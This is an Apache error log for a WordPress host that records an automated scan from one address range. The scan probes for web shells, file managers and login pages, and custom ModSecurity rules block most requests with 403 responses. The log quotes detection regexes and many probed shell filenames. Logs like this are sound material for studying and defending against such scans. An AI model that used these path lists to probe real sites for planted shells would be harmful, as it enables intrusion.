[Sat Apr 18 20:57:21.464252 2026] [:error] [pid 13023:tid 13037] [client 45.133.5.209:24341] File does not exist: /usr/local/apache/htdocs/suspended-page/O-Simple.php
[Sat Apr 18 20:57:21.488544 2026] [:error] [pid 13023:tid 13035] [client 45.133.5.209:24341] File does not exist: /usr/local/apache/htdocs/suspended-page/lock360.php
[Sat Apr 18 20:57:21.507366 2026] [:error] [pid 13023:tid 13030] [client 45.133.5.209:24341] File does not exist: /usr/local/apache/htdocs/suspended-page/zwso.php
[Sat Apr 18 20:57:21.524883 2026] [:error] [pid 13023:tid 13026] [client 45.133.5.209:24341] File does not exist: /usr/local/apache/htdocs/suspended-page/chosen.php
[Sat Apr 18 20:57:21.550530 2026] [:error] [pid 13023:tid 13042] [client 45.133.5.209:24341] File does not exist: /usr/local/apache/htdocs/suspended-page/about.php
[Sat Apr 18 20:57:21.570351 2026] [:error] [pid 13023:tid 13049] [client 45.133.5.209:24341] File does not exist: /usr/local/apache/htdocs/suspended-page/admin.php
[Sat Apr 18 20:57:21.590604 2026] [:error] [pid 13023:tid 13028] [client 45.133.5.209:24341] File does not exist: /usr/local/apache/htdocs/suspended-page/mah.php
[Sat Apr 18 20:57:21.638160 2026] [:error] [pid 13023:tid 13043] [client 45.133.5.209:24341] File does not exist: /usr/local/apache/htdocs/suspended-page/core.php
[Sat Apr 18 20:57:21.660782 2026] [:error] [pid 13023:tid 13044] [client 45.133.5.209:24341] File does not exist: /usr/local/apache/htdocs/suspended-page/robots.php
[Sat Apr 18 20:57:21.679593 2026] [:error] [pid 13023:tid 13033] [client 45.133.5.209:24341] File does not exist: /usr/local/apache/htdocs/suspended-page/inputs.php
[Sat Apr 18 20:57:21.697945 2026] [:error] [pid 13023:tid 13032] [client 45.133.5.209:24341] File does not exist: /usr/local/apache/htdocs/suspended-page/mini.php
[Sat Apr 18 20:57:21.719718 2026] [:error] [pid 13023:tid 13038] [client 45.133.5.209:24341] File does not exist: /usr/local/apache/htdocs/suspended-page/goods.php
[Sat Apr 18 20:57:21.739449 2026] [:error] [pid 13023:tid 13039] [client 45.133.5.209:24341] File does not exist: /usr/local/apache/htdocs/suspended-page/file5.php
[Sat Apr 18 20:57:21.759944 2026] [:error] [pid 13023:tid 13034] [client 45.133.5.209:24341] File does not exist: /usr/local/apache/htdocs/suspended-page/ahax.php
[Sat Apr 18 20:57:21.784018 2026] [:error] [pid 13023:tid 13036] [client 45.133.5.209:24341] File does not exist: /usr/local/apache/htdocs/suspended-page/f35.php
[Sat Apr 18 20:57:21.803363 2026] [:error] [pid 13023:tid 13047] [client 45.133.5.209:24341] File does not exist: /usr/local/apache/htdocs/suspended-page/simple.php
[Sat Apr 18 20:57:21.823706 2026] [:error] [pid 13023:tid 13029] [client 45.133.5.209:24341] File does not exist: /usr/local/apache/htdocs/suspended-page/amax.php
[Sat Apr 18 20:57:22.105292 2026] [:error] [pid 13023:tid 13027] [client 45.133.5.209:24341] [client 45.133.5.209] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aeN_sv1e7hG8DAeABB8QygAAAQI"]
[Sat Apr 18 20:57:23.584426 2026] [:error] [pid 13023:tid 13039] [client 45.133.5.191:50125] [client 45.133.5.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aeN_s_1e7hG8DAeABB8QzgAAAQ4"]
[Sat Apr 18 20:57:23.676669 2026] [:error] [pid 13023:tid 13031] [client 45.133.5.188:24699] File does not exist: /usr/local/apache/htdocs/suspended-page/classwithtostring.php
[Sat Apr 18 20:57:23.732586 2026] [:error] [pid 13023:tid 13041] [client 45.133.5.188:24699] [client 45.133.5.188] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aeN_s_1e7hG8DAeABB8Q1gAAARA"]
[Sat Apr 18 20:57:23.804010 2026] [:error] [pid 13023:tid 13026] [client 45.133.5.188:39221] File does not exist: /usr/local/apache/htdocs/suspended-page/file.php
[Sat Apr 18 20:57:23.820535 2026] [:error] [pid 13023:tid 13042] [client 45.133.5.188:39221] [client 45.133.5.188] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aeN_s_1e7hG8DAeABB8Q2gAAARE"]
[Sat Apr 18 20:57:23.881580 2026] [:error] [pid 13023:tid 13025] [client 45.133.5.212:61089] File does not exist: /usr/local/apache/htdocs/suspended-page/buy.php
[Sat Apr 18 20:57:23.976934 2026] [:error] [pid 13023:tid 13034] [client 45.133.5.212:61089] [client 45.133.5.212] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "aeN_s_1e7hG8DAeABB8Q4QAAAQk"]
[Sat Apr 18 20:57:24.028249 2026] [:error] [pid 13023:tid 13029] [client 45.133.5.208:56069] [client 45.133.5.208] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aeN_tP1e7hG8DAeABB8Q5AAAAQQ"]
[Sat Apr 18 20:57:24.067477 2026] [:error] [pid 13023:tid 13040] [client 45.133.5.179:58301] [client 45.133.5.179] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "aeN_tP1e7hG8DAeABB8Q5QAAAQ8"]
[Sat Apr 18 20:57:24.103621 2026] [:error] [pid 13023:tid 13041] [client 45.133.5.170:24439] [client 45.133.5.170] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "aeN_tP1e7hG8DAeABB8Q5wAAARA"]
[Sat Apr 18 20:57:24.141163 2026] [:error] [pid 13023:tid 13037] [client 45.133.5.180:34507] [client 45.133.5.180] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "aeN_tP1e7hG8DAeABB8Q6AAAAQw"]
[Sat Apr 18 20:57:24.174266 2026] [:error] [pid 13023:tid 13030] [client 45.133.5.229:26453] [client 45.133.5.229] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "aeN_tP1e7hG8DAeABB8Q6QAAAQU"]
[Sat Apr 18 20:57:24.239106 2026] [:error] [pid 13023:tid 13027] [client 45.133.5.197:64939] [client 45.133.5.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "aeN_tP1e7hG8DAeABB8Q7AAAAQI"]
[Sat Apr 18 20:57:24.278158 2026] [:error] [pid 13023:tid 13033] [client 45.133.5.183:38865] File does not exist: /usr/local/apache/htdocs/suspended-page/inc.php
[Sat Apr 18 20:57:24.313626 2026] [:error] [pid 13023:tid 13034] [client 45.133.5.183:38865] [client 45.133.5.183] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/filemanager.php"] [unique_id "aeN_tP1e7hG8DAeABB8Q8AAAAQk"]
[Sat Apr 18 20:57:24.389846 2026] [:error] [pid 13023:tid 13031] [client 45.133.5.205:35085] [client 45.133.5.205] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "aeN_tP1e7hG8DAeABB8Q8wAAAQY"]
[Sat Apr 18 20:57:24.452609 2026] [:error] [pid 13023:tid 13041] [client 45.133.5.185:33905] [client 45.133.5.185] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "aeN_tP1e7hG8DAeABB8Q9QAAARA"]
[Sat Apr 18 20:57:24.495486 2026] [:error] [pid 13023:tid 13030] [client 45.133.5.205:25667] File does not exist: /usr/local/apache/htdocs/suspended-page/function.php
[Sat Apr 18 20:57:24.512009 2026] [:error] [pid 13023:tid 13026] [client 45.133.5.205:25667] [client 45.133.5.205] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "aeN_tP1e7hG8DAeABB8Q9wAAAQE"]
[Sat Apr 18 20:57:24.565589 2026] [:error] [pid 13023:tid 13049] [client 45.133.5.212:31715] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-signup.php
[Sat Apr 18 20:57:24.626616 2026] [:error] [pid 13023:tid 13027] [client 45.133.5.212:31715] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-blog.php
[Sat Apr 18 20:57:24.679130 2026] [:error] [pid 13023:tid 13038] [client 45.133.5.212:31715] [client 45.133.5.212] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "aeN_tP1e7hG8DAeABB8Q_wAAAQ0"]
[Sat Apr 18 20:57:24.725318 2026] [:error] [pid 9864:tid 9908] [client 45.133.5.200:61119] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-l0gin.php
[Sat Apr 18 20:57:24.740913 2026] [:error] [pid 9864:tid 9913] [client 45.133.5.200:61119] [client 45.133.5.200] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "aeN_tICFeowknfXHM7kh9QAAAEc"]
[Sat Apr 18 20:57:24.777044 2026] [:error] [pid 32647:tid 32667] [client 45.133.5.202:28235] File does not exist: /usr/local/apache/htdocs/suspended-page/new.php
[Sat Apr 18 20:57:24.812715 2026] [:error] [pid 32647:tid 32669] [client 45.133.5.202:28235] [client 45.133.5.202] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/defaults.php"] [unique_id "aeN_tEkxooM0iRo6e54kswAAAhM"]
[Sat Apr 18 20:57:24.863918 2026] [:error] [pid 13023:tid 13029] [client 45.133.5.178:39971] [client 45.133.5.178] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "aeN_tP1e7hG8DAeABB8RAgAAAQQ"]
[Sat Apr 18 20:57:24.931782 2026] [:error] [pid 32677:tid 32689] [client 45.133.5.189:44117] File does not exist: /usr/local/apache/htdocs/suspended-page/natural.php
[Sat Apr 18 20:57:24.950521 2026] [:error] [pid 32677:tid 32691] [client 45.133.5.189:44117] File does not exist: /usr/local/apache/htdocs/suspended-page/item.php
[Sat Apr 18 20:57:24.987115 2026] [:error] [pid 32677:tid 32704] [client 45.133.5.189:44117] [client 45.133.5.189] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aeN_tBngmUE3LdC-wP7dawAAAlg"]
[Sat Apr 18 20:57:25.045506 2026] [:error] [pid 34288:tid 34297] [client 45.133.5.225:31515] [client 45.133.5.225] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "aeN_teTIiy__PtiLmpnVuwAAAYU"]
[Sat Apr 18 20:57:25.096059 2026] [:error] [pid 9970:tid 9987] [client 45.133.5.181:38035] [client 45.133.5.181] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "aeN_tSYdRLRhVmaIMx27BAAAAM0"]
[Sat Apr 18 20:57:25.128045 2026] [:error] [pid 9970:tid 9982] [client 45.133.5.210:48529] [client 45.133.5.210] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "aeN_tSYdRLRhVmaIMx27BQAAAMg"]
[Sat Apr 18 20:57:25.166053 2026] [:error] [pid 32677:tid 32684] [client 45.133.5.195:36835] [client 45.133.5.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aeN_tRngmUE3LdC-wP7dbAAAAkQ"]
[Sat Apr 18 20:57:25.247170 2026] [:error] [pid 9970:tid 9976] [client 45.133.5.181:45405] File does not exist: /usr/local/apache/htdocs/suspended-page/default.php
[Sat Apr 18 20:57:25.266681 2026] [:error] [pid 9970:tid 9998] [client 45.133.5.181:45405] [client 45.133.5.181] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/info.php"] [unique_id "aeN_tSYdRLRhVmaIMx27CQAAANg"]
[Sat Apr 18 20:57:25.316087 2026] [:error] [pid 9970:tid 9981] [client 45.133.5.205:59843] [client 45.133.5.205] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/class.api.php"] [unique_id "aeN_tSYdRLRhVmaIMx27CgAAAMc"]
[Sat Apr 18 20:57:25.351770 2026] [:error] [pid 34288:tid 34294] [client 45.133.5.216:57279] [client 45.133.5.216] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aeN_teTIiy__PtiLmpnVvAAAAYI"]
[Sat Apr 18 20:57:25.428146 2026] [:error] [pid 13023:tid 13026] [client 45.133.5.193:44621] File does not exist: /usr/local/apache/htdocs/suspended-page/dropdown.php
[Sat Apr 18 20:57:25.466788 2026] [:error] [pid 13023:tid 13049] [client 45.133.5.193:44621] File does not exist: /usr/local/apache/htdocs/suspended-page/db.php
[Sat Apr 18 20:57:25.552711 2026] [:error] [pid 13023:tid 13044] [client 45.133.5.193:44621] [client 45.133.5.193] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/admin.php"] [unique_id "aeN_tf1e7hG8DAeABB8RCwAAARM"]
[Sat Apr 18 20:57:25.659096 2026] [:error] [pid 9970:tid 9977] [client 45.133.5.169:56801] [client 45.133.5.169] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.133.5.169, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/wp-login.php"] [unique_id "aeN_tSYdRLRhVmaIMx27DwAAAMM"]
[Sat Apr 18 20:57:25.680400 2026] [:error] [pid 9970:tid 9984] [client 45.133.5.169:56801] File does not exist: /usr/local/apache/htdocs/suspended-page/install.php
[Sat Apr 18 20:57:25.779315 2026] [:error] [pid 9970:tid 9974] [client 45.133.5.169:56801] File does not exist: /usr/local/apache/htdocs/suspended-page/bypass.php
[Sat Apr 18 20:57:25.798050 2026] [:error] [pid 9970:tid 9997] [client 45.133.5.169:56801] File does not exist: /usr/local/apache/htdocs/suspended-page/class.php
[Sat Apr 18 20:57:25.905021 2026] [:error] [pid 9970:tid 9978] [client 45.133.5.169:56801] [client 45.133.5.169] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "aeN_tSYdRLRhVmaIMx27GwAAAMQ"]
[Sat Apr 18 20:57:25.961994 2026] [:error] [pid 13023:tid 13039] [client 45.133.5.175:57549] File does not exist: /usr/local/apache/htdocs/suspended-page/init.php
[Sat Apr 18 20:57:25.978015 2026] [:error] [pid 13023:tid 13036] [client 45.133.5.175:57549] [client 45.133.5.175] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.133.5.175, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/user/wp-login.php"] [unique_id "aeN_tf1e7hG8DAeABB8RDwAAAQs"]
[Sat Apr 18 20:57:26.015463 2026] [:error] [pid 13023:tid 13029] [client 45.133.5.175:57549] [client 45.133.5.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/item.php"] [unique_id "aeN_tv1e7hG8DAeABB8REQAAAQQ"]
[Sat Apr 18 20:57:26.150436 2026] [:error] [pid 9863:tid 9878] [client 45.133.5.230:45153] File does not exist: /usr/local/apache/htdocs/suspended-page/adminfuns.php
[Sat Apr 18 20:57:26.191562 2026] [:error] [pid 9863:tid 9877] [client 45.133.5.230:45153] File does not exist: /usr/local/apache/htdocs/suspended-page/wp_wlx.php
[Sat Apr 18 20:57:26.238407 2026] [:error] [pid 9863:tid 9886] [client 45.133.5.230:45153] [client 45.133.5.230] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/husky301.php"] [unique_id "aeN_tjjjiypiFrTucbLQbAAAAA0"]
[Sat Apr 18 20:57:26.279552 2026] [:error] [pid 9970:tid 9998] [client 45.133.5.206:38125] File does not exist: /usr/local/apache/htdocs/suspended-page/wp.php
[Sat Apr 18 20:57:27.730816 2026] [:error] [pid 9970:tid 9980] [client 45.133.5.206:38125] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-header.php
[Sat Apr 18 20:57:27.781680 2026] [:error] [pid 9970:tid 9984] [client 45.133.5.206:38125] File does not exist: /usr/local/apache/htdocs/suspended-page/Marvins.php
[Sat Apr 18 20:57:27.834391 2026] [:error] [pid 9970:tid 9990] [client 45.133.5.206:38125] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-class.php
[Sat Apr 18 20:57:27.853263 2026] [:error] [pid 9970:tid 9991] [client 45.133.5.206:38125] [client 45.133.5.206] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "aeN_tyYdRLRhVmaIMx27JwAAANE"]
[Sat Apr 18 20:57:27.899197 2026] [:error] [pid 9970:tid 9985] [client 45.133.5.178:26733] File does not exist: /usr/local/apache/htdocs/suspended-page/xx.php
[Sat Apr 18 20:57:27.920747 2026] [:error] [pid 9970:tid 9997] [client 45.133.5.178:26733] File does not exist: /usr/local/apache/htdocs/suspended-page/autoload_classmap.php
[Sat Apr 18 20:57:27.937612 2026] [:error] [pid 9970:tid 9987] [client 45.133.5.178:26733] [client 45.133.5.178] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/classwithtostring.php"] [unique_id "aeN_tyYdRLRhVmaIMx27KgAAAM0"]
[Sat Apr 18 20:57:27.997294 2026] [:error] [pid 34288:tid 34310] [client 45.133.5.221:32371] File does not exist: /usr/local/apache/htdocs/suspended-page/content.php
[Sat Apr 18 20:57:28.039955 2026] [:error] [pid 34288:tid 34304] [client 45.133.5.221:32371] [client 45.133.5.221] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.133.5.221, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/wp-login.php"] [unique_id "aeN_uOTIiy__PtiLmpnVwAAAAYw"]
[Sat Apr 18 20:57:28.063817 2026] [:error] [pid 34288:tid 34307] [client 45.133.5.221:32371] [client 45.133.5.221] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/rest-api/endpoints/index.php"] [unique_id "aeN_uOTIiy__PtiLmpnVwQAAAY8"]
[Sat Apr 18 20:57:28.318271 2026] [:error] [pid 34288:tid 34311] [client 45.133.5.189:39777] File does not exist: /usr/local/apache/htdocs/suspended-page/web.php
[Sat Apr 18 20:57:28.451823 2026] [:error] [pid 34288:tid 34315] [client 45.133.5.189:39777] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-trackback.php
